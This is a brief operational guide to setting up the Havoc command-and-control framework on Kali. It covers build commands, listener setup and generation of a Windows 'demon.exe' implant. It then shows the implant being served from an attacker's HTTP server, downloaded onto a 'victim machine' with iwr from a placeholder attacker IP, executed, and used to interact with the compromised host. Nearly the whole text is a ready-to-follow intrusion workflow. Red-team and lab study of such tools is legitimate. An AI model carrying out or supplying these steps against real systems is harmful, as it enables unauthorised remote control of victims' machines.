Havoc C2 Installation and Usage Guide
# Install on Kali
sudo apt install havoc
# Manual Installation
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm
# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
# Install musl Compiler & Build Binary (From Havoc Root Directory)
make ts-build
# Run the teamserver
./havoc server --profile ./profiles/havoc.yaotl -v --debug
# Build the client Binary (From Havoc Root Directory)
make client-build
# Run the client
./havoc client
View -> Listeners
Click on Add
Enter a Name
Select a Payload
Choose the Host(Bind)
Enter
Attack -> Payload
Select Arch as x64
Select Format as Windows exe
Select Sleep Technique as Ekko
Click on Generate
# On the attacker machine
python3 -m http.server 8080
# On the victim machine
iwr http://<attacker ip>:8080/demon.exe
# Execute (Victim machine)
.\demon.exe
# Graph View
View -> Session View -> Graph
# Help menu
Right click on the machine -> Interact
Type help in the bottom pane